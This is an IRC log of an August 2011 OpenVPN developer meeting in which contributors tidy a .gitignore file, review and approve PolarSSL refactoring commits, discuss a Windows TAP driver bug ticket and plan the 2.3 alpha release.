dazo: ah yes, that too 08:34 <@mattock> dazo, d12fk: tweaking the .gitignore file 08:46 <@mattock> here's an updated version: http://pastebin.com/zqZQSm88 08:49 <@d12fk> cool, i think we should sort the list alphabetically 08:52 <@mattock> yeah, that would work too 08:53 <@mattock> shall I? 08:53 <@mattock> I shall :D 08:53 <@d12fk> i have already http://pastebin.com/kJ7LR7gr 08:54 <@mattock> ah 08:54 <@mattock> nice! 08:54 <@d12fk> is that from a complete build includeing signing and installer? 08:55 <@d12fk> where do *.tmp come from? 08:55 <@dazo> mattock: *.manifest .... those files are always auto-generated? 08:56 <@dazo> good question as well (*.tmp) 08:56 <@mattock> dazo: re: *.manifest: yeah, I think so 08:56 * dazo don't like "think" ... he likes "know" :-P 08:57 <@mattock> ok, lemme check :) 08:57 <@dazo> :) 09:00 <@mattock> well, there are valid reasons to modify manifest files manually 09:00 <@d12fk> finished winhttp wrapper today expect auto-proxy soon 09:00 <@mattock> we could narrow the wilcard to openvpn.exe.manifest and openvpnserv.exe.manifest 09:00 <@mattock> the rest of the manifests are in dist/, which is excluded already 09:01 <@d12fk> you wouldnt want them in git anyways so it's ok 09:01 <@mattock> but those two manifest files are automatically generated atm, and there's (so far) been no reason to customize them 09:01 <@dazo> mattock: I'd say that if manifest files are something which should/could be checked into the repo, it should not be in .gitignore 09:01 <@mattock> d12fk: yeah, customizations have more to do with deployment 09:01 <@mattock> dazo: atm I can't think of a reason why we'd want any customized manifest files 09:01 <@dazo> mattock: openvpn.exe.manifest / openvpnserv.exe.manifest into .gitignore then makes sense 09:02 * dazo don't really know what manifest files does 09:02 <@d12fk> dynamically gernerated manifest - isn't that an oxymoron ?! =) 09:03 <@mattock> dazo: http://msdn.microsoft.com/en-us/library/aa375365%28v=vs.85%29.aspx 09:03 <@vpnHelper> Title: Manifests (Windows) (at msdn.microsoft.com) 09:03 <@dazo> okay, so they "describe" the application ABI? 09:03 <@mattock> essentially, all you need to know about manifests is that "manifest hell" replaced the "DLL hell" on Windows 09:04 <@d12fk> dazo: not for c apps just with .net 09:04 <@mattock> they describe DLL dependencies etc 09:04 <@dazo> ahh, okay 09:04 <@d12fk> for c apps it's more like a meta info for the loader 09:04 * dazo has stayed clear of any Windows hell ... on purpose, most likely :) 09:04 <@mattock> e.g. if you want to use a specific version of a dependency library, you can define that in a manifest file 09:04 <@mattock> dazo: lucky you :P 09:04 <@dazo> :) 09:05 <@d12fk> so the *.tmp question is left 09:06 <@mattock> d12fk: there's actually only one .tmp file in the build directory 09:06 <@d12fk> editor? 09:06 <@mattock> win/version_m4_vars.tmp 09:06 <@mattock> which is a nasty kludge to pass version.m4 variables to the NSI script (win/openvpn.nsi) 09:06 <@d12fk> it's terrible 09:07 <@d12fk> looked at those scripts twice, first and last time 09:07 <@mattock> which scripts? 09:07 <@dazo> mattock: then I'd recommend to just exclude that file 09:08 <@d12fk> mattock: the ones that parse for vars 09:08 <@d12fk> maybe they are gone with your changes 09:09 <@mattock> terrible as in "terribly confusing and complex"? 09:09 <@d12fk> terribly kludgy 09:10 <@mattock> ah, yes, parse_version_m4 in win/wb.py is a true gem 09:10 <@mattock> I had to tweak it somewhat to make it work, but the core is from james 09:10 <@d12fk> they used to be perl scripts iirc 09:10 <@mattock> yep 09:10 <@d12fk> the looking went one 3 years ago btw =) 09:11 <@mattock> james seems to love these really complex regexp-based kludges :P 09:11 <@mattock> it's difficult to wrap one's brain around those and see what they're doing 09:11 <@d12fk> it easy once you get used to it 09:12 <@d12fk> another Q, should *~ be included? 09:12 <@mattock> not sure, what editors create those? 09:12 <@mattock> emacs? 09:12 <@d12fk> unixish ones 09:13 <@d12fk> it's like .bak in windows 09:13 <@d12fk> but then that's more of a personal thing to ignore 09:14 <@mattock> here's a new version: http://pastebin.com/Cwm1xAf6 09:14 <@dazo> nah, lets skip bak files ... someone might want them 09:14 <@mattock> hopefully we're doing the same edits 09:14 <@dazo> and some editors use ~, other ~<something>~ and some .bak ... that's .git/info/exclude stuff 09:15 <@mattock> s/"re doing"/"re not doing"/g 09:16 <@d12fk> .pyc is compiled .py? 09:16 <@dazo> yeah, kind of 09:16 <@dazo> it's not exactly - but it's some binary representation of .py scripts 09:17 <@d12fk> bytecode is the buzzword 09:17 <@dazo> too much java hyped :-P 09:18 <@dazo> I read a blog article a long while ago explaining why .pyc was not bytecode, but something which speeds up loading and parsing already parsed scripts 09:18 <@mattock> .pyc files are quicker to load, but not to execute 09:19 <@dazo> yeah, that sounds very familiar 09:19 <@d12fk> aha 10:39 <@d12fk> dazo: are git pushes to master signaled in here? 10:39 <@dazo> d12fk: yeah, indirectly via an RSS feed 10:40 <@d12fk> dazo: nice 10:52 <@andj> created the diffs of diffs 10:52 <@andj> for today's session :) 10:52 <@andj> But it's mostly final cleanup stuff 10:53 <@andj> so it should be relatively quick 10:53 <@dazo> andj: is it the verification stuff still? 10:54 <@andj> yeah, but it's mostly cleanup 10:54 <@andj> before PolarSSL can be applied 10:55 <@andj> https://community.openvpn.net/openvpn/wiki/PolarSSLintegration#Verificationfunctions 10:55 <@vpnHelper> Title: PolarSSLintegration – OpenVPN Community (at community.openvpn.net) 10:55 <@cron2> dazo: thanks for the reminder regarding the svn-merger. Sorry for dragging my feet there. Not today (still at work, won't be home before midnight) but I hope I can find time tomorrow. Feel free to poke me a few times. 10:56 <@dazo> cron2: goodie, no worries! I'm not doing to well on the openvpn front myself, so I can't hang anyone for being slow anyway :) 10:56 <@dazo> #define A_FEW_TIMES 4 /* :-p */ 10:58 <@d12fk> dazo: that's just a single four finger poke. will it suffice? =) 10:58 <@dazo> d12fk: I might patch it later on ;-) 10:58 <@dazo> andj: great ... I probably won't be able to attend 100% before 19:30 today ... 10:58 * dazo hopes james will come anyway 11:01 <@cron2> dazo: I've had a good week - customer machines are well-behaving, spent the whole day yesterday juggling and unicycling and having fun (www.ejc2011.org), so my energy is back :-) 11:01 <@cron2> tonight is "having great foods with friends, and then watching juggling with firestuff in the dark" and that will be even better 11:02 <@dazo> cool! 11:02 <@mattock> cron2: sounds like most excellent way to spend time! 11:02 <@mattock> btw. sent the "Merge IPv6 README stuff" patch to ml 11:02 <@mattock> the diff is a bit nasty (I blame Git) 11:02 <@cron2> mattock: indeed, and it was high time to just ignore all customer stuff for a day, and just relax and recharge 11:03 <@mattock> also, I have to split for ~30 mins around 20:35 11:03 <@mattock> taking the train to Helsinki 11:03 <@cron2> anyway, see you tomorrow/weekend - have a good meeting 11:03 <@mattock> cron2: have fun! 12:01 <@andj> hi everyone 12:05 <@mattock> andj: hi! 12:05 <@andj> hi 12:05 <@andj> The meeting starts around now, right? 12:06 <@mattock> yep, just mailed james, he's in stealth mode atm 12:06 <@mattock> dazo: there? 12:06 <@mattock> also, who else is present? :) 12:06 <@mattock> I got to split in ~30 mins and catch the train... then I'll be back around 21:10 12:08 <@andj> Looks like it's a little quiet 12:08 <@mattock> yep, it does 12:08 <@mattock> dazo didn't say he wouldn't be here 12:08 <@mattock> so I guess he will, hopefully 12:12 <@mattock> ... 12:13 <@andj> oh well, gives me a chance to catch up on http://events.ccc.de/camp/2011/ news :) 12:13 <@vpnHelper> Title: Main Page - Camp 2011 Public Wiki (at events.ccc.de) 12:14 <@mattock> andj: yeah 12:14 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 12:14 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:15 <@mattock> jamesyonan: hi! 12:15 <@andj> hi 12:15 <@jamesyonan> hi guys 12:16 <@mattock> ok, here's the topic list: https://community.openvpn.net/openvpn/wiki/Topics-2011-08-11 12:16 <@vpnHelper> Title: Topics-2011-08-11 – OpenVPN Community (at community.openvpn.net) 12:16 <@mattock> I propose we start with PolarSSL 12:16 <@andj> until dazo gets here at least 12:16 <@mattock> and if dazo attends later, we can discuss 2.2.2 and 2.3 12:16 <@mattock> yeah 12:16 <@andj> PolarSSL 1.0.0 got released the other day 12:17 <@andj> which means there's a nice stable base to build the patches on 12:17 <@mattock> jamesyonan: I won't be available between 8:35 - 9:10 PM (catching a train) 12:17 <@mattock> but I'll catch up in the train 12:17 <@andj> I'll check whether any new stuff will be required 12:17 <@andj> for the openvpn patches 12:18 <@mattock> andj: maybe another (smaller) round of patches? 12:18 <@andj> Don't think there'll be a large difference, the patches were based on 0.99-pre5 12:19 <@andj> But I'll check in the next few days 12:19 <@andj> mattock: shall I keep the wiki up-to-date? 12:19 <@andj> since you're running after trains and all that 12:19 <@mattock> andj: if you can 12:19 <@mattock> I can do it for now 12:19 <@mattock> shall we start? 12:20 <@andj> ok 12:20 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/840d040a2552da07e948732ffba4dd6ed39581c1 12:20 <@vpnHelper> Title: Commit 840d040a2552da07e948732ffba4dd6ed39581c1 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:20 <@andj> is the first on, just minor cleanup after all the previous refactoring 12:20 <@andj> *one 12:22 <@andj> Most of the verifcation ones shouldn't be too complex 12:23 <@jamesyonan> that looks fine 12:23 <@andj> cool, next one: https://github.com/andj/openvpn-ssl-refactoring/commit/3d5d5b3649f46bd812c146a731fba295473eeeb8 12:23 <@vpnHelper> Title: Commit 3d5d5b3649f46bd812c146a731fba295473eeeb8 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:23 <@andj> That one just hides the openssl-specific error reporting 12:24 <@andj> At some point it should be migrated out of error.c, but now isn't quite the time 12:26 <@jamesyonan> right, looks good 12:26 <@andj> Straightforward rename: https://github.com/andj/openvpn-ssl-refactoring/commit/368b49096911dfa6b4f1cbf651a2df8ac3d5e937 12:26 <@vpnHelper> Title: Commit 368b49096911dfa6b4f1cbf651a2df8ac3d5e937 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:26 <@andj> reame the x509 backend function to x509_* 12:28 <@jamesyonan> looks good 12:28 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/11e94d8da97765571ecf91c512bcc559507e5f3b 12:28 <@vpnHelper> Title: Commit 11e94d8da97765571ecf91c512bcc559507e5f3b to andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:28 <@andj> Is slightly more complex 12:28 <@andj> migrates the openssl-specific pkcs#11 stuff 12:29 <@andj> https://gist.github.com/1139976 12:29 <@vpnHelper> Title: andj's gist: 1139976 Gist (at gist.github.com) 12:29 <@andj> is the matching gist 12:29 <@andj> But that has some diff-artifacts unfortunately 12:34 <@mattock> mmm... got to go now, wiki page updated up to this point 12:34 <@andj> ok, I'll start editing 12:34 <@andj> thanks, see you later 12:36 <@mattock> no prob! 12:36 <@mattock> I'll login to the IRC from my selfphone and get going :) 12:36 <@mattock> bye 12:36 <@andj> cya 12:37 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:37 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 12:38 -!- Netsplit *.net <-> *.split quits: s7r 12:40 <@andj> any questions, james? 12:41 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 258 seconds] 12:41 <@jamesyonan> yes, re: goto cleanup, am I correct that cleanup is not at the end of the function? 12:42 <@andj> which line? 12:43 <@jamesyonan> 102 in the gist 12:44 <@andj> no, it's at the end 12:44 <@andj> the cleanup is just very long 12:44 <@jamesyonan> actually, never mind, you're right 12:44 <@jamesyonan> what about the stuff that starts at 229? 12:45 <@andj> It's unfortunate that the gist didn't match well 12:45 <@andj> let me check 12:47 <@andj> That's there to prevent errors due to the handoff of responsiblity for that memory to pkcs11 helper 12:47 <@andj> Just an extra safeguard 12:48 <@andj> if all goes well, certificate should not be freed 12:48 * dazo is back 12:48 * andj waves 12:48 <@jamesyonan> where is the corresponding stuff in the regular diff? 12:48 <@andj> checking now 12:49 <@jamesyonan> hi dazo 12:49 <@dazo> jamesyonan: hey! 12:51 -!- Netsplit over, joins: s7r 12:52 <@andj> jamesyonan: looks like it's being freed in pkcs11_init_tls_session (the new function) 12:53 <@andj> So, at https://github.com/andj/openvpn-ssl-refactoring/commit/11e94d8da97765571ecf91c512bcc559507e5f3b#L4R89 12:53 <@vpnHelper> Title: Commit 11e94d8da97765571ecf91c512bcc559507e5f3b to andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:56 <@andj> is that ok? 12:56 <@jamesyonan> where is the non-error path in pkcs11_init_tls_session? 12:57 <@andj> that is the non-error path I think 12:57 <@andj> I think, if I remember correctly that it has to do with OpenSSL reference counting 12:59 <@jamesyonan> yeah, OpenSSL is sometimes vague about documenting whether functions increment refcount or merely borrow an existing reference 12:59 <@andj> anyway, the behaviour doesn't change 13:00 <@jamesyonan> yes, it looks good 13:00 <@andj> It's been a bit too long, but I vaguely remember reference counting issues there 13:00 <@andj> ok, next one is simple: https://github.com/andj/openvpn-ssl-refactoring/commit/7c6edbb0e507f8980b83208c43844d6a0bd582ac 13:00 <@vpnHelper> Title: Commit 7c6edbb0e507f8980b83208c43844d6a0bd582ac to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:01 <@andj> there was a conflict in naming the base64_ stuff 13:01 <@jamesyonan> when you tested this stuff, did you use any memory checking tools such as valgrind? 13:01 <@andj> I regularly ran valgrind in my tests setup 13:01 <@jamesyonan> great 13:01 <@andj> none of the DMALLOC stuff though 13:02 <@jamesyonan> valgrind is more complete than DMALLOC 13:02 * andj loves valgrind 13:02 <@jamesyonan> but DMALLOC is more portable (to windows for example) 13:02 <@andj> hmm, never really played with it, I'll have a look at it given time :) 13:03 <@andj> Anyway, if the last one was ok, the base64 one is pretty simple again, just a straightforward rename, to prevent a symbol conflict in polarsslhttps://github.com/andj/openvpn-ssl-refactoring/commit/7c6edbb0e507f8980b83208c43844d6a0bd582ac 13:03 <@vpnHelper> Title: Commit 7c6edbb0e507f8980b83208c43844d6a0bd582ac to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:03 <@jamesyonan> the OpenVPN Project actually has access to Coverity Prevent which is a kind of valgrind that runs at compile time rather than run time 13:04 <@andj> That's pretty cool 13:04 <@andj> As an outreach project to open source? 13:04 <@jamesyonan> it would be worthwhile to try to run this patch through it 13:04 <@jamesyonan> yes 13:05 <@andj> I'd love to hear the results of that 13:05 <@dazo> mattock has managed to get our master branch tracked through Coverity 13:06 <@jamesyonan> mattock: can we get andj access to Coverity so he can run his patches through it? 13:06 <@andj> perhaps we should wait until it's in master, as that's already tracked 13:06 <@andj> I promise I won't run away if fixes are needed 13:06 <@andj> :) 13:07 <@dazo> They don't pull our stuff too frequently, but we're aiming at getting them to do that when we're getting ready for an alpha/beta release 13:08 <@dazo> IIRC, there are ~160 remarks in the code, at first glance quite some of them was most likely false positives 13:09 <@mattock_> jamesyonan: re: coverity: that is a little difficult... they can only track one branch/tree 13:09 <@andj> I'll fix any stuff that comes up during pre-alpha runs 13:09 <@andj> jamesyonan: base64 patch ok? 13:09 <@mattock_> but we can get them to update the codebase to first 2.3 alpha 13:10 <@jamesyonan> base64 patch looks fine 13:11 <@andj> ok, second to last verify patch : https://github.com/andj/openvpn-ssl-refactoring/commit/03225fa7939b9bab6f69b50b36af30565692ad51 13:11 <@vpnHelper> Title: Commit 03225fa7939b9bab6f69b50b36af30565692ad51 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:11 <@andj> basically some final cleanup before polar goes in 13:11 <@andj> diff-diff here: https://gist.github.com/1139983 13:11 <@vpnHelper> Title: andj's gist: 1139983 Gist (at gist.github.com) 13:12 <@andj> But it's not very useful 13:14 <@jamesyonan> what are the changes to tls_ctx_load_extra_certs? 13:15 <@andj> I think it just got moved 13:15 <@andj> yeah, just got moved in the file 13:16 <@jamesyonan> sure, that looks fine 13:16 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:16 -!- mode/#openvpn-devel [+o mattock] by ChanServ 13:16 <@andj> last one: https://github.com/andj/openvpn-ssl-refactoring/commit/d235530fe14ccca5b9ef12bfbbd367c78d069e43 13:16 <@vpnHelper> Title: Commit d235530fe14ccca5b9ef12bfbbd367c78d069e43 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:16 <@andj> https://gist.github.com/1139987 13:16 <@mattock> back 13:16 <@vpnHelper> Title: andj's gist: 1139987 Gist (at gist.github.com) 13:17 <@andj> moves the tracking stuff to openssl 13:18 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 13:19 <@mattock> andj: all previous patches ACKed? 13:20 <@andj> yup, and still have the wiki open 13:20 <@mattock> ok 13:20 <@mattock> I won't edit the page, then 13:20 <@andj> I can close it, if you want 13:21 <@mattock> andj: ok 13:21 <@jamesyonan> so there's no actual code changes here -- just moving stuff around? 13:21 <@andj> There is a change: PolarSSL won't support it for nw 13:21 <@andj> *now 13:21 <@andj> but no, nothing for OpenSSL 13:22 <@andj> I do (secretely) have two more related patches 13:23 <@andj> since we spoke about them last week 13:23 <@jamesyonan> it's useful when you want to have custom scripts look at arbitrary cert fields 13:23 <@andj> I know, and I hope to implement it in the future 13:23 <@andj> But first some extra support is needed in Polar 13:24 <@andj> Not sure whether Polar wants it though, it would involve a large increase in code size 13:24 <@andj> and for a library that aims to stay small... 13:24 <@jamesyonan> yeah, but doesn't Polar already need x509/asn1 stuff for extracting common name, etc? 13:25 <@andj> james: is the patch ok? 13:25 <@jamesyonan> yes, patch is fine 13:25 <@andj> yeah, but it's kept limited to only the required fields 13:25 <@andj> so we could have a look at adding that at some point 13:26 <@andj> ok, next one is a bug that I found after our return value discussion last week https://github.com/andj/openvpn-ssl-refactoring/commit/25a2452776e8701ff6f7c59e73d6d3d216bc5048 13:26 <@vpnHelper> Title: Commit 25a2452776e8701ff6f7c59e73d6d3d216bc5048 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:26 <@andj> which works in combination with https://github.com/andj/openvpn-ssl-refactoring/commit/f543aafc52d8885c36ced7bf0eb74919dc6bb75f 13:26 <@vpnHelper> Title: Commit f543aafc52d8885c36ced7bf0eb74919dc6bb75f to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:26 <@andj> which unifies verification to a result_t type 13:27 <@andj> and ensures that the same result return convention is always used throughout the SSL verification functions 13:27 <@andj> That should help prevent this style of bug from occuring again 13:28 <@andj> Basically those patches are the result of last week's discussion 13:28 <@jamesyonan> right, good catch 13:28 <@andj> I reviewed all return values 13:28 <@andj> in the patch set 13:30 <@andj> It's a pretty straightforward patch, but it really clarifies some stuff 13:30 <@andj> without losing any performance 13:31 <@andj> ok, if those patches are ok, I'm done for this week, and we can go for the ssl separation patches next week? 13:32 <@mattock> andj: sounds good 13:32 <@mattock> dazo: still there? 13:32 <@andj> let's wait for an ack though :) 13:32 <@dazo> mattock: I am 13:33 <@dazo> I've just paid attention to these last reviews with half-n-eye :) 13:33 <@mattock> after the ACK/NACK we can discuss the bug and release dates perhaps :) 13:33 <@dazo> sure 13:34 <@jamesyonan> SUCCESS/FAILURE patch looks fine 13:34 <@andj> cool, thanks 13:34 <@dazo> (I have roughly 30-40 min available) 13:34 <@andj> how long do we expect the rest of the reviews to take? 4-5 more sessions? 13:34 <@andj> thinking 2 for ssl library spearation 13:34 <@mattock> andj: how hairy are the remaining patches? 13:35 <@andj> it's crypto, so it's always hairy 13:35 <@mattock> :D 13:35 <@andj> but less so than the verification part :) 13:35 <@mattock> 4-5 sessions is probably a good guess 13:35 <@andj> PolarSSL support addition is a big one 13:35 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/0ef8d44cc4b9b10f174101cf420af0a5b2150809 13:35 <@vpnHelper> Title: Commit 0ef8d44cc4b9b10f174101cf420af0a5b2150809 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:35 <@andj> that one is scary in a sense 13:36 <@mattock> we could probably have more sessions if 2.3 alpha release is getting too near 13:36 <@andj> sure, they don't have to be weekly 13:36 <@mattock> yep 13:36 <@andj> I won't be available for about 2-3 weeks in september though 13:36 <@dazo> I'm thinking that PolarSSL support isn't "that" critical ... as these patches shouldn't change the way OpenSSL stuff works (which will be mostly used, at least in the beginning) ... and PolarSSL can be kind of like a "tech-preview" 13:37 <@mattock> dazo: +1 13:37 <@andj> yeah, most important thing is to have the separation in there 13:37 <@mattock> I'd be more scared about changes to OpenSSL part 13:37 <@dazo> which has mostly been covered already 13:37 <@mattock> andj: did you save the wiki page= 13:37 <@mattock> ? 13:38 <@andj> yes 13:38 <@andj> It's closed 13:38 <@mattock> so all verification functions have an ACK 13:38 <@mattock> I'll update the remaining entries 13:38 <@andj> they're updated, right? 13:39 <@mattock> ah yeah 13:39 <@mattock> ok, next topic? 13:39 <@andj> sure 13:39 <@jamesyonan> yeah, agreed that the OpenSSL changes are the most critical -- how much actual empirical testing have we done on the verification patch set as a whole? 13:40 <@dazo> When this all gets merged into master ... I'm willing to put this into two of my production boxes + my work laptop, running mostly OpenSSL 13:40 <@mattock> andj: yes 13:40 <@mattock> jamesyonan: have you looked at this bug: https://community.openvpn.net/openvpn/ticket/126 13:40 <@vpnHelper> Title: #126 (Cannot access Syspro 6.0 Server with 2.2RC or 2.2.0) – OpenVPN Community (at community.openvpn.net) 13:40 <@jamesyonan> I've gotta run in 20 minutes 13:41 <@mattock> ok 13:41 <@mattock> got time to check out the bug report and see what you think? 13:41 <@mattock> jamesyonan: btw. thanks a lot for reviewing the PolarSSL patches, we've made great progress every week! 13:41 <@dazo> if someone can figure out which file is the most likely place to start looking ... using git blame and git log --follow <file>, it should be easy to track down the offending commit 13:42 <@dazo> re: PolarSSL ... indeed great progress! 13:42 <@andj> yeah, indeed, thanks everyone 13:42 <@mattock> I can send mail to the bug reporters/commenters 13:42 <@mattock> if they don't send us git-bisect results voluntarily :P 13:43 <@dazo> hehe 13:46 <@jamesyonan> so is ticket 126 related to windows tap driver ipv6 changes? 13:46 <@dazo> that we really don't know ... but that *might* be reasonable to believe 13:47 <@dazo> I'll add this as a testing criteria as well 13:48 <@mattock> dazo: is it possible to disable IPv6 support completely in OpenVPN 2.2.1? 13:48 <@jamesyonan> I wonder if pinging with an explicit ICMP packet length could help to reproduce this? 13:48 <@mattock> or will some parts of the code still haunt the IPv4 support? 13:48 <@dazo> well, it's only in the TAP driver IPv6 support is added ... and it is not possible to disable it there 13:50 <@mattock> yes, of course... 13:50 <@mattock> I'm thinking that we could perhaps try to inject custom packets to the pipe as one the guys did 13:51 <@mattock> perhaps we could even get a sample packet from him 13:51 <@mattock> and I can try poking the reporters for git-bisect results 13:51 <@mattock> does this mumbling make any sense? :) 13:53 <@dazo> packet injection ... not sure that will help ... unless you use wireshark/ethereal on the other side to see if the packets disappears or not 13:53 <@dazo> I've added a more "low-tech" testing approach to the ticket now 13:53 <@andj> ICMP doesn;t work? 13:54 <@dazo> ICMP might work ... ICMP with size < 51bytes should in theory then not be passed through 13:54 <@dazo> (including headers, I presume) 13:55 <@mattock> dazo: I'll add clarifications on how to uninstall/install TAP-drivers 13:55 <@mattock> do we need anything else for debugging? 13:55 <@dazo> jamesyonan: quick question before you go ... have you had time to look at the tmp/svn-merger branch? .... I need to be sure I'm not doing anything stupid there 13:56 <@dazo> mattock: great! No, I don't think anything else right now is needed 13:56 <@mattock> (I'll add documentation to the Wiki + the ticket after the meeting) 13:56 <@jamesyonan> no, I haven't 13:56 <@dazo> jamesyonan: would it be possible for you to squeeze that in some day soonish? 13:56 <@jamesyonan> what's the url for the branch? 13:57 * dazo fetches it 13:57 <@dazo> jamesyonan: http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=e47fb603ed721bb718495e6f8ed42ec134da2f98 13:57 <@vpnHelper> Title: SourceForge - openvpn/openvpn-testing.git/commitdiff (at openvpn.git.sourceforge.net) 13:57 <@dazo> this describes how the conflict has been solved 13:58 <@dazo> but if you pull our git tree (openvpn-testing.git), you can checkout the origin/tmp/svn-merger branch 13:58 <@dazo> then you get it completely merged 13:59 <@andj> oh noes, and ssl.c change 13:59 <@dazo> andj: yeah :( 14:00 <@andj> thankfully it's pretty small 14:00 <@dazo> :) 14:01 <@andj> painful merge though from the looks of it :) 14:01 <@dazo> I spent two days on it ... ~10-12 hours 14:02 <@jamesyonan> dazo: thanks for putting the time into this 14:02 <@mattock> jamesyonan: regarding which... how far is your Git migration? 14:02 <@mattock> I'd hate to see dazo in such a pain :P 14:03 <@mattock> need any help with it? 14:03 <@jamesyonan> I 14:03 <@jamesyonan> I'm still getting through the final crunch of 1.8.3 AS release 14:04 <@mattock> when is it due? 14:04 <@dazo> if you need help with migration ... I'm willing to spend some time on that ... as that will help reduce the complexity of getting more of your changes into master 14:04 <@jamesyonan> we released in the last few days but I'm still swamped with bugs and other fixes 14:05 <@mattock> ah 14:05 <@jamesyonan> it was unfortunate that the block-local feature required a refactor of route.[ch] 14:06 <@dazo> yeah, probably ... however, I just see that the job of staying in sync without causing more bugs or regressions is getting harder and harder 14:07 <@jamesyonan> I don't see any more large patches on the horizon for 2.1 branch 14:07 <@dazo> that does indeed sound good :) 14:07 <@andj> Can we move on to release dates, I'm interested but need to go soon :) 14:08 <@jamesyonan> I gotta run now 14:08 <@dazo> jamesyonan: c'ya! take care! 14:08 <@andj> cya, thanks for the reviewing 14:08 <@jamesyonan> bye guys 14:08 < s7r> dazo: can you confirm the new release of openvpn will have full ipv6 support ? 14:08 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 14:09 <@dazo> s7r: OpenVPN 2.3 will have full IPv6 support ... nothing in v2.2.x 14:09 <@dazo> v2.2.x are just bugfixes 14:09 <@mattock> jamesyonan: bye! 14:09 < s7r> what's with the icmpv6 14:09 <@mattock> andj: release dates it is, then 14:09 < s7r> did you get a chance to study it ? 14:10 < s7r> they say it has multiple functions for autoconfiguration etc. 14:10 <@andj> I'm mostly interested, have no opinions/suggestions there :) 14:10 <@dazo> s7r: that's better to discuss with cron2, he has implemented parts of that stuff 14:10 <@dazo> release dates 14:11 <@mattock> so, is polarssl only thing holding back 2.3 alpha? 14:11 <@dazo> 2.2.2 ... that heavily depends on debug info we get from bug reporters 14:11 <@mattock> or do we have something else? 14:11 <@andj> is the windows build stuff working? 14:11 <@dazo> v2.3 releases ... polarssl is the biggest one ... but we have quite a list 14:11 <@dazo> of tickets we should consider 14:12 <@dazo> But I'd prefer not too many big ones, though ... IPv6 + PolarSSL support are big enough + a bunch of stuff from james 14:12 <@andj> If you need a speed-up on the patch verification, and have time, I can put in an extra sessions next week and the week after that 14:12 <@andj> which should cover most of the stuff 14:12 <@andj> in those patches 14:12 <@mattock> andj: windows build stuff is fixed, still needs to go to "master" 14:12 <@dazo> andj: right now, I'm very happy it doesn't go faster ... because I'm pretty much loaded with paid work as well :) 14:13 <@andj> :) 14:13 <@dazo> andj: misunderstand me correctly, I'm also very happy with the progress I have seen :) 14:14 <@mattock> I'll also improve the (Windows/Debian/Ubuntu) snapshot situation in preparation to 2.3 alpha release 14:14 <@mattock> to get the stuff out there faster 14:14 <@andj> No worries, I understand your point, it was just suggesting that it's possible, but not that it was necessary 14:14 <@andj> it being I there 14:15 <@dazo> I'm looking at Milestone release 2.3 here: https://community.openvpn.net/openvpn/report/3 14:15 <@vpnHelper> Title: {3} Active Tickets by Milestone – OpenVPN Community (at community.openvpn.net) 14:16 <@dazo> ticket #143 and #128 should be doable to get into the release ... so it's actually looking better than what I thought 14:16 <@dazo> whooops 14:16 <@mattock> #137 is already fixed 14:17 <@dazo> there's a Milestone beta 2.3 ... which is much "worse" 14:17 <@mattock> #18 should be trivial(?) 14:17 <@dazo> yeah, #137 is on me to get merged in 14:17 <@dazo> I believe d12fk is working on #18 14:17 <@dazo> no, he is not .. .that was for Windows 14:18 <@mattock> yeah, windows 14:18 <@mattock> ah, there's one unclosed, fixed ticket(#125) 14:19 <@dazo> oh, true 14:19 * dazo really need to begin to go in 2 min 14:20 <@andj> same story 14:20 <@dazo> but I'd say that we can try to push through an alpha release (based on master) during September 14:20 <@mattock> I think we should... nobody expects it to be perfect 14:20 <@mattock> (hopefully) :D 14:21 <@mattock> let's call this a day 14:21 <@mattock> I'll update the wiki and the bug report 14:21 <@andj> be warned that I'll be gone part of september, so some work on my part might pile up a little 14:21 <@mattock> and write the summary 14:21 <@dazo> when we move over to beta releases, I'll create a branch for it (which will be renamed to release when we're done) 14:21 <@mattock> andj: when is that exactly? 14:21 <@dazo> andj: understood :) That's why I propose September for the first alpha releases ... so we have time to bang our heads a bit :) 14:22 <@andj> rather not say on a public forum, but I won't be available for about 2 weeks 14:22 <@dazo> :) 14:22 * dazo runs 14:23 <@andj> which shouldn't be too much of problem 14:23 <@andj> I'll just pick up any issues when I get back 14:23 <@dazo> yeah, that'll work out :) 14:24 <@mattock> ok 14:24 <@dazo> ciao! 14:24 <@mattock> ciao a tutti! 14:24 <@mattock> a domani, ecc. :) 14:24 <@andj> indeed, see you soon, gotto run as well 14:24 <@andj> :) 14:24 <@mattock> bye! 14:25 -!- dazo is now known as dazo_afk 14:26 <@mattock> andj: re: public forums: hope you're not announcing the exact dates on Facebook or anything :P 14:26 <@andj> nah, not a big user of facebook :) 14:26 * andj is really gone with that :) 14:51 <@mattock> so last season 14:51 <@mattock> ok, wiki + ticket updated, need to go 14:52 <@mattock> (train nearly at Helsinki) 14:52 <@mattock> bye and have a nice evening! 14:56 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 16:08 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn-devel [] 22:34 <+ecrist> raidz: ping 23:06 -!- Irssi: #openvpn-devel: Total of 12 nicks [6 ops, 0 halfops, 1 voices, 5 normal] --- Day changed Fri Aug 12 2011 01:24 -!- vpnuser [~vpnuser@119.93.51.34] has 